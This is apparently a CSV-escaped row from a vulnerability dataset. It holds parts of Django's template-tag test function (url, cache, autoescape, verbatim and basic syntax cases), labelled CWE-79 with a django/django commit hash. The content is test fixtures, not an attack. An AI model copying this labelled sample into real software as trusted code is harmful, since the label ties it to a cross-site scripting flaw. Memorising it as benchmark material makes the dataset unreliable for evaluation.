            'ssi08': ('{%% ssi ""%s"" %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {}, 'This is for testing an ssi include with spaces in its name. {{ test }}\n'),
            'ssi09': ('{%% ssi ""%s"" parsed %%}' % os.path.join(basedir, 'templates', 'ssi include with spaces.html'), {'test': 'Look ma! It parsed!'}, 'This is for testing an ssi include with spaces in its name. Look ma! It parsed!\n'),

            ### TEMPLATETAG TAG #######################################################
            'templatetag01': ('{% templatetag openblock %}', {}, '{%'),
            'templatetag02': ('{% templatetag closeblock %}', {}, '%}'),
            'templatetag03': ('{% templatetag openvariable %}', {}, '{{'),
            'templatetag04': ('{% templatetag closevariable %}', {}, '}}'),
            'templatetag05': ('{% templatetag %}', {}, template.TemplateSyntaxError),
            'templatetag06': ('{% templatetag foo %}', {}, template.TemplateSyntaxError),
            'templatetag07': ('{% templatetag openbrace %}', {}, '{'),
            'templatetag08': ('{% templatetag closebrace %}', {}, '}'),
            'templatetag09': ('{% templatetag openbrace %}{% templatetag openbrace %}', {}, '{{'),
            'templatetag10': ('{% templatetag closebrace %}{% templatetag closebrace %}', {}, '}}'),
            'templatetag11': ('{% templatetag opencomment %}', {}, '{#'),
            'templatetag12': ('{% templatetag closecomment %}', {}, '#}'),

            # Simple tags with customized names
            'simpletag-renamed01': ('{% load custom %}{% minusone 7 %}', {}, '6'),
            'simpletag-renamed02': ('{% load custom %}{% minustwo 7 %}', {}, '5'),
            'simpletag-renamed03': ('{% load custom %}{% minustwo_overridden_name 7 %}', {}, template.TemplateSyntaxError),

            ### WIDTHRATIO TAG ########################################################
            'widthratio01': ('{% widthratio a b 0 %}', {'a':50,'b':100}, '0'),
            'widthratio02': ('{% widthratio a b 100 %}', {'a':0,'b':0}, '0'),
            'widthratio03': ('{% widthratio a b 100 %}', {'a':0,'b':100}, '0'),
            'widthratio04': ('{% widthratio a b 100 %}', {'a':50,'b':100}, '50'),
            'widthratio05': ('{% widthratio a b 100 %}', {'a':100,'b':100}, '100'),

            # 62.5 should round to 63 on Python 2 and 62 on Python 3
            # See http://docs.python.org/py3k/whatsnew/3.0.html
            'widthratio06': ('{% widthratio a b 100 %}', {'a':50,'b':80}, '62' if six.PY3 else '63'),

            # 71.4 should round to 71
            'widthratio07': ('{% widthratio a b 100 %}', {'a':50,'b':70}, '71'),

            # Raise exception if we don't have 3 args, last one an integer
            'widthratio08': ('{% widthratio %}', {}, template.TemplateSyntaxError),
            'widthratio09': ('{% widthratio a b %}', {'a':50,'b':100}, template.TemplateSyntaxError),
            'widthratio10': ('{% widthratio a b 100.0 %}', {'a':50,'b':100}, '50'),

            # #10043: widthratio should allow max_width to be a variable
            'widthratio11': ('{% widthratio a b c %}', {'a':50,'b':100, 'c': 100}, '50'),

            # #18739: widthratio should handle None args consistently with non-numerics
            'widthratio12a': ('{% widthratio a b c %}', {'a':'a','b':100,'c':100}, ''),
            'widthratio12b': ('{% widthratio a b c %}', {'a':None,'b':100,'c':100}, ''),
            'widthratio13a': ('{% widthratio a b c %}', {'a':0,'b':'b','c':100}, ''),
            'widthratio13b': ('{% widthratio a b c %}', {'a':0,'b':None,'c':100}, ''),
            'widthratio14a': ('{% widthratio a b c %}', {'a':0,'b':100,'c':'c'}, template.TemplateSyntaxError),
            'widthratio14b': ('{% widthratio a b c %}', {'a':0,'b':100,'c':None}, template.TemplateSyntaxError),

            # Test whitespace in filter argument
            'widthratio15': ('{% load custom %}{% widthratio a|noop:""x y"" b 0 %}', {'a':50,'b':100}, '0'),

            # Widthratio with variable assignment
            'widthratio16': ('{% widthratio a b 100 as variable %}-{{ variable }}-', {'a':50,'b':100}, '-50-'),
            'widthratio17': ('{% widthratio a b 100 as variable %}-{{ variable }}-', {'a':100,'b':100}, '-100-'),

            'widthratio18': ('{% widthratio a b 100 as %}', { }, template.TemplateSyntaxError),
            'widthratio19': ('{% widthratio a b 100 not_as variable %}', { }, template.TemplateSyntaxError),

            ### WITH TAG ########################################################
            'with01': ('{% with key=dict.key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),
            'legacywith01': ('{% with dict.key as key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, '50'),

            'with02': ('{{ key }}{% with key=dict.key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),
            'legacywith02': ('{{ key }}{% with dict.key as key %}{{ key }}-{{ dict.key }}-{{ key }}{% endwith %}{{ key }}', {'dict': {'key': 50}}, ('50-50-50', 'INVALID50-50-50INVALID')),

            'with03': ('{% with a=alpha b=beta %}{{ a }}{{ b }}{% endwith %}', {'alpha': 'A', 'beta': 'B'}, 'AB'),

            'with-error01': ('{% with dict.key xx key %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),
            'with-error02': ('{% with dict.key as %}{{ key }}{% endwith %}', {'dict': {'key': 50}}, template.TemplateSyntaxError),

            ### NOW TAG ########################################################
            # Simple case
            'now01': ('{% now ""j n Y"" %}', {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            # Check parsing of locale strings
            'now02': ('{% now ""DATE_FORMAT"" %}', {},  date_format(datetime.now())),
            # Also accept simple quotes - #15092
            'now03': (""{% now 'j n Y' %}"", {}, ""%d %d %d"" % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now04': (""{% now 'DATE_FORMAT' %}"", {},  date_format(datetime.now())),
            'now05': ('''{% now 'j ""n"" Y'%}''', {}, '''%d ""%d"" %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),
            'now06': ('''{% now ""j 'n' Y""%}''', {}, '''%d '%d' %d''' % (
                datetime.now().day, datetime.now().month, datetime.now().year)),

            ### URL TAG ########################################################
            # Successes
            'url01': ('{% url ""template_tests.views.client"" client.id %}', {'client': {'id': 1}}, '/url_tag/client/1/'),
            'url02': ('{% url ""template_tests.views.client_action"" id=client.id action=""update"" %}', {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02a': ('{% url ""template_tests.views.client_action"" client.id ""update"" %}', {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02b': (""{% url 'template_tests.views.client_action' id=client.id action='update' %}"", {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url02c': (""{% url 'template_tests.views.client_action' client.id 'update' %}"", {'client': {'id': 1}}, '/url_tag/client/1/update/'),
            'url03': ('{% url ""template_tests.views.index"" %}', {}, '/url_tag/'),
            'url04': ('{% url ""named.client"" client.id %}', {'client': {'id': 1}}, '/url_tag/named-client/1/'),
            'url05': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url06': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url07': ('{% url ""template_tests.views.client2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url08': ('{% url ""метка_оператора"" v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url09': ('{% url ""метка_оператора_2"" tag=v %}', {'v': 'Ω'}, '/url_tag/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4/%CE%A9/'),
            'url10': ('{% url ""template_tests.views.client_action"" id=client.id action=""two words"" %}', {'client': {'id': 1}}, '/url_tag/client/1/two%20words/'),
            'url11': ('{% url ""template_tests.views.client_action"" id=client.id action=""=="" %}', {'client': {'id': 1}}, '/url_tag/client/1/%3D%3D/'),
            'url12': ('{% url ""template_tests.views.client_action"" id=client.id action="","" %}', {'client': {'id': 1}}, '/url_tag/client/1/%2C/'),
            'url13': ('{% url ""template_tests.views.client_action"" id=client.id action=arg|join:""-"" %}', {'client': {'id': 1}, 'arg':['a','b']}, '/url_tag/client/1/a-b/'),
            'url14': ('{% url ""template_tests.views.client_action"" client.id arg|join:""-"" %}', {'client': {'id': 1}, 'arg':['a','b']}, '/url_tag/client/1/a-b/'),
            'url15': ('{% url ""template_tests.views.client_action"" 12 ""test"" %}', {}, '/url_tag/client/12/test/'),
            'url18': ('{% url ""template_tests.views.client"" ""1,2"" %}', {}, '/url_tag/client/1%2C2/'),

            'url19': ('{% url named_url client.id %}', {'named_url': 'template_tests.views.client', 'client': {'id': 1}}, '/url_tag/client/1/'),
            'url20': ('{% url url_name_in_var client.id %}', {'url_name_in_var': 'named.client', 'client': {'id': 1}}, '/url_tag/named-client/1/'),

            # Failures
            'url-fail01': ('{% url %}', {}, template.TemplateSyntaxError),
            'url-fail02': ('{% url ""no_such_view"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail03': ('{% url ""template_tests.views.client"" %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail04': ('{% url ""view"" id, %}', {}, template.TemplateSyntaxError),
            'url-fail05': ('{% url ""view"" id= %}', {}, template.TemplateSyntaxError),
            'url-fail06': ('{% url ""view"" a.id=id %}', {}, template.TemplateSyntaxError),
            'url-fail07': ('{% url ""view"" a.id!id %}', {}, template.TemplateSyntaxError),
            'url-fail08': ('{% url ""view"" id=""unterminatedstring %}', {}, template.TemplateSyntaxError),
            'url-fail09': ('{% url ""view"" id="", %}', {}, template.TemplateSyntaxError),

            'url-fail11': ('{% url named_url %}', {}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail12': ('{% url named_url %}', {'named_url': 'no_such_view'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail13': ('{% url named_url %}', {'named_url': 'template_tests.views.client'}, (urlresolvers.NoReverseMatch, urlresolvers.NoReverseMatch)),
            'url-fail14': ('{% url named_url id, %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail15': ('{% url named_url id= %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail16': ('{% url named_url a.id=id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail17': ('{% url named_url a.id!id %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail18': ('{% url named_url id=""unterminatedstring %}', {'named_url': 'view'}, template.TemplateSyntaxError),
            'url-fail19': ('{% url named_url id="", %}', {'named_url': 'view'}, template.TemplateSyntaxError),

            # {% url ... as var %}
            'url-asvar01': ('{% url ""template_tests.views.index"" as url %}', {}, ''),
            'url-asvar02': ('{% url ""template_tests.views.index"" as url %}{{ url }}', {}, '/url_tag/'),
            'url-asvar03': ('{% url ""no_such_view"" as url %}{{ url }}', {}, ''),

            ### CACHE TAG ######################################################
            'cache03': ('{% load cache %}{% cache 2 test %}cache03{% endcache %}', {}, 'cache03'),
            'cache04': ('{% load cache %}{% cache 2 test %}cache04{% endcache %}', {}, 'cache03'),
            'cache05': ('{% load cache %}{% cache 2 test foo %}cache05{% endcache %}', {'foo': 1}, 'cache05'),
            'cache06': ('{% load cache %}{% cache 2 test foo %}cache06{% endcache %}', {'foo': 2}, 'cache06'),
            'cache07': ('{% load cache %}{% cache 2 test foo %}cache07{% endcache %}', {'foo': 1}, 'cache05'),

            # Allow first argument to be a variable.
            'cache08': ('{% load cache %}{% cache time test foo %}cache08{% endcache %}', {'foo': 2, 'time': 2}, 'cache06'),

            # Raise exception if we don't have at least 2 args, first one integer.
            'cache11': ('{% load cache %}{% cache %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache12': ('{% load cache %}{% cache 1 %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache13': ('{% load cache %}{% cache foo bar %}{% endcache %}', {}, template.TemplateSyntaxError),
            'cache14': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': 'fail'}, template.TemplateSyntaxError),
            'cache15': ('{% load cache %}{% cache foo bar %}{% endcache %}', {'foo': []}, template.TemplateSyntaxError),

            # Regression test for #7460.
            'cache16': ('{% load cache %}{% cache 1 foo bar %}{% endcache %}', {'foo': 'foo', 'bar': 'with spaces'}, ''),

            # Regression test for #11270.
            'cache17': ('{% load cache %}{% cache 10 long_cache_key poem %}Some Content{% endcache %}', {'poem': 'Oh freddled gruntbuggly/Thy micturations are to me/As plurdled gabbleblotchits/On a lurgid bee/That mordiously hath bitled out/Its earted jurtles/Into a rancid festering/Or else I shall rend thee in the gobberwarts with my blurglecruncheon/See if I dont.'}, 'Some Content'),

            # Test whitespace in filter arguments
            'cache18': ('{% load cache custom %}{% cache 2|noop:""x y"" cache18 %}cache18{% endcache %}', {}, 'cache18'),


            ### AUTOESCAPE TAG ##############################################
            'autoescape-tag01': (""{% autoescape off %}hello{% endautoescape %}"", {}, ""hello""),
            'autoescape-tag02': (""{% autoescape off %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""<b>hello</b>""),
            'autoescape-tag03': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>hello</b>""}, ""&lt;b&gt;hello&lt;/b&gt;""),

            # Autoescape disabling and enabling nest in a predictable way.
            'autoescape-tag04': (""{% autoescape off %}{{ first }} {% autoescape  on%}{{ first }}{% endautoescape %}{% endautoescape %}"", {""first"": ""<a>""}, ""<a> &lt;a&gt;""),

            'autoescape-tag05': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": ""<b>first</b>""}, ""&lt;b&gt;first&lt;/b&gt;""),

            # Strings (ASCII or unicode) already marked as ""safe"" are not
            # auto-escaped
            'autoescape-tag06': (""{{ first }}"", {""first"": mark_safe(""<b>first</b>"")}, ""<b>first</b>""),
            'autoescape-tag07': (""{% autoescape on %}{{ first }}{% endautoescape %}"", {""first"": mark_safe(""<b>Apple</b>"")}, ""<b>Apple</b>""),

            # Literal string arguments to filters, if used in the result, are
            # safe.
            'autoescape-tag08': (r'{% autoescape on %}{{ var|default_if_none:"" endquote\"" hah"" }}{% endautoescape %}', {""var"": None}, ' endquote"" hah'),

            # Objects which return safe strings as their __unicode__ method
            # won't get double-escaped.
            'autoescape-tag09': (r'{{ unsafe }}', {'unsafe': filters.UnsafeClass()}, 'you &amp; me'),
            'autoescape-tag10': (r'{{ safe }}', {'safe': filters.SafeClass()}, 'you &gt; me'),

            # The ""safe"" and ""escape"" filters cannot work due to internal
            # implementation details (fortunately, the (no)autoescape block
            # tags can be used in those cases)
            'autoescape-filtertag01': (""{{ first }}{% filter safe %}{{ first }} x<y{% endfilter %}"", {""first"": ""<a>""}, template.TemplateSyntaxError),

            # ifqeual compares unescaped vales.
            'autoescape-ifequal01': ('{% ifequal var ""this & that"" %}yes{% endifequal %}', { ""var"": ""this & that"" }, ""yes""),

            # Arguments to filters are 'safe' and manipulate their input unescaped.
            'autoescape-filters01': ('{{ var|cut:""&"" }}', { ""var"": ""this & that"" }, ""this  that"" ),
            'autoescape-filters02': ('{{ var|join:"" & \"" }}', { ""var"": (""Tom"", ""Dick"", ""Harry"") }, ""Tom & Dick & Harry""),

            # Literal strings are safe.
            'autoescape-literals01': ('{{ ""this & that"" }}',{}, ""this & that""),

            # Iterating over strings outputs safe characters.
            'autoescape-stringiterations01': ('{% for l in var %}{{ l }},{% endfor %}', {'var': 'K&R'}, ""K,&amp;,R,""),

            # Escape requirement survives lookup.
            'autoescape-lookup01': ('{{ var.key }}', { ""var"": {""key"": ""this & that"" }}, ""this &amp; that""),

            # Static template tags
            'static-prefixtag01': ('{% load static %}{% get_static_prefix %}', {}, settings.STATIC_URL),
            'static-prefixtag02': ('{% load static %}{% get_static_prefix as static_prefix %}{{ static_prefix }}', {}, settings.STATIC_URL),
            'static-prefixtag03': ('{% load static %}{% get_media_prefix %}', {}, settings.MEDIA_URL),
            'static-prefixtag04': ('{% load static %}{% get_media_prefix as media_prefix %}{{ media_prefix }}', {}, settings.MEDIA_URL),
            'static-statictag01': ('{% load static %}{% static ""admin/base.css"" %}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag02': ('{% load static %}{% static base_css %}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag03': ('{% load static %}{% static ""admin/base.css"" as foo %}{{ foo }}', {}, urljoin(settings.STATIC_URL, 'admin/base.css')),
            'static-statictag04': ('{% load static %}{% static base_css as foo %}{{ foo }}', {'base_css': 'admin/base.css'}, urljoin(settings.STATIC_URL, 'admin/base.css')),

            # Verbatim template tag outputs contents without rendering.
            'verbatim-tag01': ('{% verbatim %}{{bare   }}{% endverbatim %}', {}, '{{bare   }}'),
            'verbatim-tag02': ('{% verbatim %}{% endif %}{% endverbatim %}', {}, '{% endif %}'),
            'verbatim-tag03': (""{% verbatim %}It's the {% verbatim %} tag{% endverbatim %}"", {}, ""It's the {% verbatim %} tag""),
            'verbatim-tag04': ('{% verbatim %}{% verbatim %}{% endverbatim %}{% endverbatim %}', {}, template.TemplateSyntaxError),
            'verbatim-tag05': ('{% verbatim %}{% endverbatim %}{% verbatim %}{% endverbatim %}', {}, ''),
            'verbatim-tag06': (""{% verbatim special %}Don't {% endverbatim %} just yet{% endverbatim special %}"", {}, ""Don't {% endverbatim %} just yet""),
        }

        if numpy:
            tests.update({
                # Numpy's array-index syntax allows a template to access a certain item of a subscriptable object.
                'numpy-array-index01': (""{{ var.1 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ""second item""),

                # Fail silently when the array index is out of range.
                'numpy-array-index02': (""{{ var.5 }}"", {""var"": numpy.array([""first item"", ""second item""])}, ("""", ""INVALID"")),
            })


        return tests",CWE-79,django/django,ff410565bf1cf1a2905c1ef83db408d455211446,"def get_template_tests(self):
        # SYNTAX --
        # 'template_name': ('template contents', 'context dict', 'expected string output' or Exception class)
        basedir = os.path.dirname(os.path.abspath(upath(__file__)))
        tests = {
            ### BASIC SYNTAX ################################################

            # Plain text should go through the template parser untouched
            'basic-syntax01': (""something cool"", {}, ""something cool""),

            # Variables should be replaced with their value in the current
            # context
            'basic-syntax02': (""{{ headline }}"", {'headline':'Success'}, ""Success""),

            # More than one replacement variable is allowed in a template
            'basic-syntax03': (""{{ first }} --- {{ second }}"", {""first"" : 1, ""second"" : 2}, ""1 --- 2""),

            # Fail silently when a variable is not found in the current context
            'basic-syntax04': (""as{{ missing }}df"", {}, (""asdf"",""asINVALIDdf"")),

            # A variable may not contain more than one word
            'basic-syntax06': (""{{ multi word variable }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty variable tags
            'basic-syntax07': (""{{ }}"",        {}, template.TemplateSyntaxError),
            'basic-syntax08': (""{{        }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call an object's attribute
            'basic-syntax09': (""{{ var.method }}"", {""var"": SomeClass()}, ""SomeClass.method""),

            # Multiple levels of attribute access are allowed
            'basic-syntax10': (""{{ var.otherclass.method }}"", {""var"": SomeClass()}, ""OtherClass.method""),

            # Fail silently when a variable's attribute isn't found
            'basic-syntax11': (""{{ var.blech }}"", {""var"": SomeClass()}, ("""",""INVALID"")),

            # Raise TemplateSyntaxError when trying to access a variable beginning with an underscore
            'basic-syntax12': (""{{ var.__dict__ }}"", {""var"": SomeClass()}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a variable containing an illegal character
            'basic-syntax13': (""{{ va>r }}"", {}, template.TemplateSyntaxError),
            'basic-syntax14': (""{{ (var.r) }}"", {}, template.TemplateSyntaxError),
            'basic-syntax15': (""{{ sp%am }}"", {}, template.TemplateSyntaxError),
            'basic-syntax16': (""{{ eggs! }}"", {}, template.TemplateSyntaxError),
            'basic-syntax17': (""{{ moo? }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call a dictionary key's value
            'basic-syntax18': (""{{ foo.bar }}"", {""foo"" : {""bar"" : ""baz""}}, ""baz""),

            # Fail silently when a variable's dictionary key isn't found
            'basic-syntax19': (""{{ foo.spam }}"", {""foo"" : {""bar"" : ""baz""}}, ("""",""INVALID"")),

            # Fail silently when accessing a non-simple method
            'basic-syntax20': (""{{ var.method2 }}"", {""var"": SomeClass()}, ("""",""INVALID"")),

            # Don't get confused when parsing something that is almost, but not
            # quite, a template tag.
            'basic-syntax21': (""a {{ moo %} b"", {}, ""a {{ moo %} b""),
            'basic-syntax22': (""{{ moo #}"", {}, ""{{ moo #}""),

            # Will try to treat ""moo #} {{ cow"" as the variable. Not ideal, but
            # costly to work around, so this triggers an error.
            'basic-syntax23': (""{{ moo #} {{ cow }}"", {""cow"": ""cow""}, template.TemplateSyntaxError),

            # Embedded newlines make it not-a-tag.
            'basic-syntax24': (""{{ moo\n }}"", {}, ""{{ moo\n }}""),

            # Literal strings are permitted inside variables, mostly for i18n
            # purposes.
            'basic-syntax25': ('{{ ""fred"" }}', {}, ""fred""),
            'basic-syntax26': (r'{{ ""\""fred\"""" }}', {}, ""\""fred\""""),
            'basic-syntax27': (r'{{ _(""\""fred\"""") }}', {}, ""\""fred\""""),

            # regression test for ticket #12554
            # make sure a silent_variable_failure Exception is supressed
            # on dictionary and attribute lookup
            'basic-syntax28': (""{{ a.b }}"", {'a': SilentGetItemClass()}, ('', 'INVALID')),
            'basic-syntax29': (""{{ a.b }}"", {'a': SilentAttrClass()}, ('', 'INVALID')),

            # Something that starts like a number but has an extra lookup works as a lookup.
            'basic-syntax30': (""{{ 1.2.3 }}"", {""1"": {""2"": {""3"": ""d""}}}, ""d""),
            'basic-syntax31': (""{{ 1.2.3 }}"", {""1"": {""2"": (""a"", ""b"", ""c"", ""d"")}}, ""d""),
            'basic-syntax32': (""{{ 1.2.3 }}"", {""1"": ((""x"", ""x"", ""x"", ""x""), (""y"", ""y"", ""y"", ""y""), (""a"", ""b"", ""c"", ""d""))}, ""d""),
            'basic-syntax33': (""{{ 1.2.3 }}"", {""1"": (""xxxx"", ""yyyy"", ""abcd"")}, ""d""),
            'basic-syntax34': (""{{ 1.2.3 }}"", {""1"": ({""x"": ""x""}, {""y"": ""y""}, {""z"": ""z"", ""3"": ""d""})}, ""d""),

            # Numbers are numbers even if their digits are in the context.
            'basic-syntax35': (""{{ 1 }}"", {""1"": ""abc""}, ""1""),
            'basic-syntax36': (""{{ 1.2 }}"", {""1"": ""abc""}, ""1.2""),

            # Call methods in the top level of the context
            'basic-syntax37': ('{{ callable }}', {""callable"": lambda: ""foo bar""}, ""foo bar""),

            # Call methods returned from dictionary lookups
            'basic-syntax38': ('{{ var.callable }}', {""var"": {""callable"": lambda: ""foo bar""}}, ""foo bar""),

            'builtins01': ('{{ True }}', {}, ""True""),
            'builtins02': ('{{ False }}', {}, ""False""),
            'builtins03': ('{{ None }}', {}, ""None""),

            # List-index syntax allows a template to access a certain item of a subscriptable object.
            'list-index01': (""{{ var.1 }}"", {""var"": [""first item"", ""second item""]}, ""second item""),

            # Fail silently when the list index is out of range.
            'list-index02': (""{{ var.5 }}"", {""var"": [""first item"", ""second item""]}, ("""", ""INVALID"")),

            # Fail silently when the variable is not a subscriptable object.
            'list-index03': (""{{ var.1 }}"", {""var"": None}, ("""", ""INVALID"")),

            # Fail silently when variable is a dict without the specified key.
            'list-index04': (""{{ var.1 }}"", {""var"": {}}, ("""", ""INVALID"")),

            # Dictionary lookup wins out when dict's key is a string.
            'list-index05': (""{{ var.1 }}"", {""var"": {'1': ""hello""}}, ""hello""),

            # But list-index lookup wins out when dict's key is an int, which
            # behind the scenes is really a dictionary lookup (for a dict)
            # after converting the key to an int.
            'list-index06': (""{{ var.1 }}"", {""var"": {1: ""hello""}}, ""hello""),

            # Dictionary lookup wins out when there is a string and int version of the key.
            'list-index07': (""{{ var.1 }}"", {""var"": {'1': ""hello"", 1: ""world""}}, ""hello""),

            # Basic filter usage
            'filter-syntax01': (""{{ var|upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Chained filters
            'filter-syntax02': (""{{ var|upper|lower }}"", {""var"": ""Django is the greatest!""}, ""django is the greatest!""),

            # Allow spaces before the filter pipe
            'filter-syntax03': (""{{ var |upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Allow spaces after the filter pipe
            'filter-syntax04': (""{{ var| upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Raise TemplateSyntaxError for a nonexistent filter
            'filter-syntax05': (""{{ var|does_not_exist }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a filter containing an illegal character
            'filter-syntax06': (""{{ var|fil(ter) }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for invalid block tags
            'filter-syntax07': (""{% nothing_to_see_here %}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty block tags
            'filter-syntax08': (""{% %}"", {}, template.TemplateSyntaxError),

            # Chained filters, with an argument to the first one
            'filter-syntax09': ('{{ var|removetags:""b i""|upper|lower }}', {""var"": ""<b><i>Yes</i></b>""}, ""yes""),

            # Literal string as argument is always ""safe"" from auto-escaping..
            'filter-syntax10': (r'{{ var|default_if_none:"" endquote\"" hah"" }}',
                    {""var"": None}, ' endquote"" hah'),

            # Variable as argument
            'filter-syntax11': (r'{{ var|default_if_none:var2 }}', {""var"": None, ""var2"": ""happy""}, 'happy'),

            # Default argument testing
            'filter-syntax12': (r'{{ var|yesno:""yup,nup,mup"" }} {{ var|yesno }}', {""var"": True}, 'yup yes'),

            # Fail silently for methods that raise an exception with a
            # ""silent_variable_failure"" attribute
            'filter-syntax13': (r'1{{ var.method3 }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In methods that raise an exception without a
            # ""silent_variable_attribute"" set to True, the exception propagates
            'filter-syntax14': (r'1{{ var.method4 }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            # Escaped backslash in argument
            'filter-syntax15': (r'{{ var|default_if_none:""foo\bar"" }}', {""var"": None}, r'foo\bar'),

            # Escaped backslash using known escape char
            'filter-syntax16': (r'{{ var|default_if_none:""foo\now"" }}', {""var"": None}, r'foo\now'),

            # Empty strings can be passed as arguments to filters
            'filter-syntax17': (r'{{ var|join:"""" }}', {'var': ['a', 'b', 'c']}, 'abc'),

            # Make sure that any unicode strings are converted to bytestrings
            # in the final output.
            'filter-syntax18': (r'{{ var }}', {'var': UTF8Class()}, '\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111'),

            # Numbers as filter arguments should work
            'filter-syntax19': ('{{ var|truncatewords:1 }}', {""var"": ""hello world""}, ""hello ...""),

            #filters should accept empty string constants
            'filter-syntax20': ('{{ """"|default_if_none:""was none"" }}', {}, """"),

            # Fail silently for non-callable attribute and dict lookups which
            # raise an exception with a ""silent_variable_failure"" attribute
            'filter-syntax21': (r'1{{ var.silent_fail_key }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),
            'filter-syntax22': (r'1{{ var.silent_fail_attribute }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In attribute and dict lookups that raise an unexpected exception
            # without a ""silent_variable_attribute"" set to True, the exception
            # propagates
            'filter-syntax23': (r'1{{ var.noisy_fail_key }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),
            'filter-syntax24': (r'1{{ var.noisy_fail_attribute }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            ### COMMENT SYNTAX ########################################################
            'comment-syntax01': (""{# this is hidden #}hello"", {}, ""hello""),
            'comment-syntax02': (""{# this is hidden #}hello{# foo #}"", {}, ""hello""),

            # Comments can contain invalid stuff.
            'comment-syntax03': (""foo{#  {% if %}  #}"", {}, ""foo""),
            'comment-syntax04': (""foo{#  {% endblock %}  #}"", {}, ""foo""),
            'comment-syntax05': (""foo{#  {% somerandomtag %}  #}"", {}, ""foo""),
            'comment-syntax06': (""foo{# {% #}"", {}, ""foo""),
            'comment-syntax07': (""foo{# %} #}"", {}, ""foo""),
            'comment-syntax08': (""foo{# %} #}bar"", {}, ""foobar""),
            'comment-syntax09': (""foo{# {{ #}"", {}, ""foo""),
            'comment-syntax10': (""foo{# }} #}"", {}, ""foo""),
            'comment-syntax11': (""foo{# { #}"", {}, ""foo""),
            'comment-syntax12': (""foo{# } #}"", {}, ""foo""),

            ### COMMENT TAG ###########################################################
            'comment-tag01': (""{% comment %}this is hidden{% endcomment %}hello"", {}, ""hello""),
            'comment-tag02': (""{% comment %}this is hidden{% endcomment %}hello{% comment %}foo{% endcomment %}"", {}, ""hello""),

            # Comment tag can contain invalid stuff.
            'comment-tag03': (""foo{% comment %} {% if %} {% endcomment %}"", {}, ""foo""),
            'comment-tag04': (""foo{% comment %} {% endblock %} {% endcomment %}"", {}, ""foo""),
            'comment-tag05': (""foo{% comment %} {% somerandomtag %} {% endcomment %}"", {}, ""foo""),

            ### CYCLE TAG #############################################################
            'cycle01': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle02': ('{% cycle a,b,c as abc %}{% cycle abc %}', {}, 'ab'),
            'cycle03': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}', {}, 'abc'),
            'cycle04': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}', {}, 'abca'),
            'cycle05': ('{% cycle %}', {}, template.TemplateSyntaxError),
            'cycle06': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle07': ('{% cycle a,b,c as foo %}{% cycle bar %}', {}, template.TemplateSyntaxError),
            'cycle08': ('{% cycle a,b,c as foo %}{% cycle foo %}{{ foo }}{{ foo }}{% cycle foo %}{{ foo }}', {}, 'abbbcc'),
